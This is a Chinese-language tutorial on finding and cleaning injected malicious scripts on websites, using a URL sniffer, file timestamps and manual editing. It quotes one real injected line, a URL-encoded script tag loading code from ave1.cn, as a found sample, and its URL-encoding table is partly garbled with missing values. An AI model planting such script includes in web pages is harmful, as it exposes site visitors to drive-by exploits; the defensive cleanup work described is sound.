網站掛馬檢測與清除
陳小兵
據不完全統計,90%的網站都被掛過馬,掛馬是指在獲取網站或者網站服務器的部分或者全部權限後,在網頁文件中插入一段惡意代碼,這些惡意代碼主要是一些包括IE等漏洞利用代碼,用戶訪問被掛馬的頁面時,如果系統沒有更新惡意代碼中利用的漏洞補丁,則會執行惡意代碼程序,進行盜號等危險超過。目前掛馬主要是爲了商業利益,有的掛馬是爲了賺取流量,有的是爲了盜取遊戲等賬號,也有的是爲了好玩,不管是處於那種目的,對於訪問被掛馬的網站來說都是一種潛在的威脅,影響運營網站公司形象。
當一個網站運營很長時間後,網站文件會非常多,手工查看網頁文件代碼非常困難,殺毒軟件僅僅對惡意代碼進行查殺,對網頁***以及掛馬程序不一定全部查殺,本文就如何利用一些安全檢測工具軟件來檢測和清除網站***方面進行探討,使用本文提及的工具可以很輕鬆的檢測網站是否被掛馬。
一、檢測網頁***程序
1.安裝urlsnooper 軟件
Urlsnooper是一款URL嗅探工具,其官方主頁地址爲:[url]http://www.donationcoder.com/urlsnooper[/url],安裝非常簡單,按照提示進行安裝即可。第一次使用時需要程序會自動檢查網卡,查看能否正常連接網絡,設置正確無誤後,應該出現如圖1所示的畫面。
圖1 安裝正確後的界面
注意:
如果未出現圖1所示界面,說明程序設置存在問題,筆者在測試時使用發現該程序無法檢測無線網卡,因此無法在無限網絡中使用。
2.對網站進行偵測
在Urlsnooper中的“Protocol Filter”中選擇“Show All”,然後單擊“Sniff Network”按鈕開始監聽網絡。接着使用IE瀏覽器打開需要進行檢測***的網站,Urlsnooper會自動抓取網站中的所有連接,在Index中按照五位數字序號進行排列,如圖2所示。
圖2 監聽結果
說明:
在偵測結果中可能包含的連接地址非常多,這個時候就需要進行排查,可以選中每一個記錄,Urlsnooper會在下方中顯示詳細的監聽結果,如圖2所示,就發現存在一段掛馬代碼:<script src=http://%61%76%65%31%2E%63%6E></script>
在百度搜索中對其進行搜索,如圖3所示,有30多項搜索結果,從查詢結果可以輔佐證明該段代碼爲掛馬代碼。
圖3 搜索結果
說明:要善於運用網絡搜索引擎,通過搜索可以知道目前關於該問題的描述和解決方法等。
3.對地址進行解碼
表1 編碼對應表
原值 | 解碼前的值 | 原值 | 解碼前的值 | 原值 | 解碼前的值 |
backspace | %08 | I | %49 | u | %75 |
tab | %09 | J | % | v | %76 |
linefeed | % | K | %4B | w | %77 |
creturn | %0D | L | % | x | %78 |
space | %20 | M | %4D | y | %79 |
! | %21 | N | %4E | z | % |
" | %22 | O | % | { | %7B |
# | %23 | P | %50 | | | % |
$ | %24 | Q | %51 | } | %7D |
% | %25 | R | %52 |
|
|
& | %26 | S | %53 |
|
|
' | %27 | T | %54 |
|
|
( | %28 | U | %55 |
|
|
) | %29 | V | %56 |
|
|
* | % | W | %57 |
|
|
+ | %2B | X | %58 |
|
|
, | % | Y | %59 |
|
|
- | %2D | Z | % |
|
|
. | %2E | [ | %5B |
|
|
/ | % | \ | % |
|
|
0 | %30 | ] | %5D |
|
|
1 | %31 | ^ | %5E |
|
|
2 | %32 | _ | % |
|
|
3 | %33 | ` | %60 |
|
|
4 | %34 | a | %61 |
|
|
5 | %35 | b | %62 |
|
|
6 | %36 | c | %63 |
|
|
7 | %37 | d | %64 |
|
|
8 | %38 | e | %65 |
|
|
9 | %39 | f | %66 |
|
|
: | % | g | %67 |
|
|
; | %3B | h | %68 |
|
|
<
| % | i | %69 |
|
|
= | %3D | j | % |
|
|
>
| %3E | k | %6B |
|
|
? | % | l | % |
|
|
@ | %40 | m | %6D |
|
|
A | %41 | n | %6E |
|
|
B | %42 | o | % |
|
|
C | %43 | p | %70 |
|
|
D | %44 | q | %71 |
|
|
E | %45 | r | %72 |
|
|
F | %46 | s | %73 |
|
|
G | %47 | t | %74 |
|
|
H | %48 | u | %75 |
|
|
4.獲取該網站相關內容
可以使用Flashget的資源管理器去獲取該網站的內容,如圖4所示,打開Flashget下載工具,單擊“工具”-“站點資源探索器”,打開站點資源探索器,在地址中輸入“[url]http://ave1.cn[/url]”,然後回車即可獲取該網站的一些資源,在站點資源探索器中可以直接下載看見的文件,下載到本地進行查看。
圖4 使用“站點資源探索器”獲取站點資源
說明:
使用“Flashget站點資源探索器”可以很方便的獲取掛馬者代碼地址中的一些資源,這些資源可能是掛馬的真實代碼,透過這些代碼可以知道掛馬者是採用哪個漏洞,有時候還可以獲取0day。
在本例中由於時間較長,掛馬者已經撤銷了原來的掛馬程序文件,在該網站中獲取的html文件沒有用處,且有些文件已經不存在了,無法對原代碼文件進行分析。
二、清除網站中的惡意代碼(掛馬代碼)
1.確定掛馬文件
清除網站惡意代碼首先需要知道哪些文件被掛馬了,判斷方法有三個,方法一就是通過直接查看代碼,從中找出掛馬代碼;方法二是通過查看網站目錄修改時間,通過時間進行判斷;方法三使用本文提到的軟件進行直接定位,通過監聽找出惡意代碼。在本案例中,網站首頁是被確認掛馬了,通過查看時間知道被掛馬時間是8月25日 左右,因此可以通過使用資源管理器中的搜索功能,初步定位時間爲8月24日 至26日,搜索這個時間範圍修改或者產生的文件,如圖5,圖6所示,搜索出來幾十個這個時間段的文件。
圖5 搜索被修改文件
圖6 搜索結果
2.清除惡意代碼
可以使用記事本打開代碼文件從中清除惡意代碼,在清除代碼時一定要注意不要使用FrontPage的預覽或者設計,否則會直接訪問掛馬網站,感染***程序。建議使用記事本等文本編輯器。在清除惡意代碼過程中,發現掛馬者竟然對js文件也不放過,如圖7所示。
圖7 對js文件進行掛馬
技巧:
可以使用Frontpage中的替換功能替換當前站點中的所有指定代碼。
總結
本文操作簡單,寫起來比較複雜,關鍵在於使用urlsnooper軟件定位掛馬網頁文件,然後就是對掛馬代碼(惡意代碼)進行分析,最後是手工活,清除網站中的惡意代碼。